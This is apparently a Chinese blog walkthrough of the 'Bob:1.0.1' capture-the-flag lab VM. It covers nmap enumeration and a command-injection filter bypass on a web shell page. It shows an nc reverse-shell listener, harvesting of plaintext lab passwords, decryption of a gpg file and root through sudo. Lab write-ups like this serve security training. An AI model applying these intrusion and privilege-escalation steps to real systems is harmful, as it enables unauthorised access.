OSCP like — Bob:1.0.1 打靶实战记录

总体思路

OSCP like — Bob:1.0.1 打靶实战记录插图

nmap扫描

端口扫描

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
25468/tcp open  unknown

开放端口及系统详细信息扫描

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     ProFTPD 1.3.5b
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 4 disallowed entries 
| /login.php /dev_shell.php /lat_memo.html 
|_/passwords.html
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA)
|   256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA)
|_  256 391656fb4e0f508540d3532241433815 (ED25519)
MAC Address: 00:0C:29:D6:DA:0E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

简单脚本扫描

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /login.html: Possible admin folder
|_  /robots.txt: Robots file
25468/tcp open  unknown

nmap信息总结和渗透优先级排序

21端口是ProFTPD 1.3.5b，可能存在可利用漏洞。
80端口是Apache httpd 2.4.25，暴露了一些目录和robots.txt。
25468是ssh服务，OpenSSH 7.4p1。
排序：21==>80==>25468

ftp渗透

anonymous登录失败。
版本较低，漏洞库寻找可利用点：
OSCP like — Bob:1.0.1 打靶实战记录插图1
尝试过后，因不知道服务器路径和ftp路径而失败。

Web渗透

页面信息检索

OSCP like — Bob:1.0.1 打靶实战记录插图2
源代码无可用信息，各功能点尝试。可以收集到一些可能存在的用户名。
发现News的源代码有base64：

解码：

得知有password.html。访问之后也无信息可用。

robots.txt

/lat_memo.html：
OSCP like — Bob:1.0.1 打靶实战记录插图5
说有一个Webshell正在运行。

/login.php无法访问。

/dev_shell.php，访问之后是一个可以执行命令的网页：
OSCP like — Bob:1.0.1 打靶实战记录插图6

getshell

执行ls，提示 Get out skid lol 。看来是有一些过滤，需要进行绕过，尝试whoami，可以执行。
那么执行whoami之后再执行ls呢：
OSCP like — Bob:1.0.1 打靶实战记录插图7
可以看到，ls也被执行了。
那么抓个包就可以getshell：

# nc -lvnp 8081
listening on [any] 8081 ...
connect to [192.168.137.135] from (UNKNOWN) [192.168.137.153] 50608
bash: cannot set terminal process group (607): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Milburg-High:/var/www/html$

提权

常规提权遍历，sudo有两个命令，但是不可利用。/etc/passwd和/etc/shadow权限正常。无自动任务。
在bob的家目录的/Downloads文件夹发现图片，下载查看，并无信息。
Document发现login.txt.gpg加密文件，同目录下发现Secret目录，可能是这个gpg解密的密码，目录的尽头有个notes.sh。但是执行之后输出了一些字符。

-= Notes =-
Harry Potter is my faviorite
Are you the real me?
Right, I'm ordering pizza this is going nowhere
People just don't get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber
Rest now your eyes are sleepy
Are you gonna stop reading this yet?
Time to fix the server
Everyone is annoying
Sticky notes gotta buy em

而且，此时的权限并不能使用gpg解密，权限不够：

www-data@Milburg-High:/home/bob/Documents$ gpg -d ./login.txt.gpg
gpg -d ./login.txt.gpg
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied

.old_passwordfile.html发现了有jc和seb的密码：

www-data@Milburg-High:/home/bob$ cat ./.old_passwordfile.html
cat ./.old_passwordfile.html
<html>
<p>
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
</p>
</html>
www-data@Milburg-High:/home/bob$

jc和seb都可以用此密码切换成功：

www-data@Milburg-High:/home/bob/Documents$ su jc
su jc
Password: Qwerty

jc@Milburg-High:/home/bob/Documents$ whoami
whoami
jc

www-data@Milburg-High:/home/bob/Documents$ su seb
su seb
Password: T1tanium_Pa$$word_Hack3rs_Fear_M3

seb@Milburg-High:/home/bob/Documents$ whoami
whoami
seb
seb@Milburg-High:/home/bob/Documents$

现在得到了真正的用户权限，去解密gpg文件，看下权限是否可以：
OSCP like — Bob:1.0.1 打靶实战记录插图9
显示agent不允许，用su切换过来的用户不允许。那么直接ssh登录再次尝试：

可以执行了，但是不知道密码。这里尝试了之前得到的所有密码，都不可行。

那么，有没有可能去寻找到这个密码呢？
之后在elliot用户家目录找到theadminisdumb.txt，得到了elliot的密码。但是依旧是没有找到任何密码。还在各个用户的Downloads目录里找到一些图片，图片字符，隐写也没有密码。

遇到瓶颈

现在，得到了3个用户的shell，但是都无法提权到root，需要得到bob的shell，现在bob的login.txt.gpg无法破解，里面大概率就是密码，现在所有的密码全部尝试过，都无法进行破解。

解决

回想一下刚刚的关键信息，在login.txt.gpg的同目录下，有一个Secret目录，明显是提示，但是只有一个notes.sh。输出内容如下：

-= Notes =-
Harry Potter is my faviorite
Are you the real me?
Right, I'm ordering pizza this is going nowhere
People just don't get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber
Rest now your eyes are sleepy
Are you gonna stop reading this yet?
Time to fix the server
Everyone is annoying
Sticky notes gotta buy em

每一行的开头都是大写，拼接起来是：HARPOCRATES
这里如果真是提示，那么也只能想到这里了。
尝试之后，发现就是密码，解密如下：
OSCP like — Bob:1.0.1 打靶实战记录插图12
得到了bob的密码：b0bcat_
切换bob：

jc@Milburg-High:/home/bob/Documents$ su bob
Password: 
bob@Milburg-High:~/Documents$

root提权

bob用户sudo是：

bob@Milburg-High:~/Documents$ sudo -l
[sudo] password for bob: 
Matching Defaults entries for bob on Milburg-High:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bob may run the following commands on Milburg-High:
    (ALL : ALL) ALL

那么直接可以获取root：

bob@Milburg-High:~/Documents$ sudo /bin/bash
root@Milburg-High:/home/bob/Documents# whoami
root
root@Milburg-High:/home/bob/Documents#

靶机总结和认知成长

需要掌握命令注入的绕过手法。
进到系统之后，不要因为懒惰和自以为是就自动化的过滤掉一些文件夹的信息收集，这是致命的。可以使用ls -lR将当前目录下的目录全部打开。
gpg文件时一种加密文件，使用gpg -d 可以进行解密。
su切换的用户可能存在一些权限问题，因此，su切换的用户遇到agent权限问题时，应该想到去ssh直接登录。

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）

OSCP like — Bob:1.0.1 打靶实战记录

总体思路

nmap扫描

端口扫描

开放端口及系统详细信息扫描

简单脚本扫描

nmap信息总结和渗透优先级排序

ftp渗透

Web渗透

页面信息检索

robots.txt

getshell

提权

遇到瓶颈

解决

root提权

靶机总结和认知成长

相关文章

发布评论取消回复

OSCP like — Bob:1.0.1 打靶实战记录

总体思路

nmap扫描

端口扫描

开放端口及系统详细信息扫描

简单脚本扫描

nmap信息总结和渗透优先级排序

ftp渗透

Web渗透

页面信息检索

robots.txt

getshell

提权

遇到瓶颈

解决

root提权

靶机总结和认知成长

相关文章：

相关文章

发布评论 取消回复

发布评论取消回复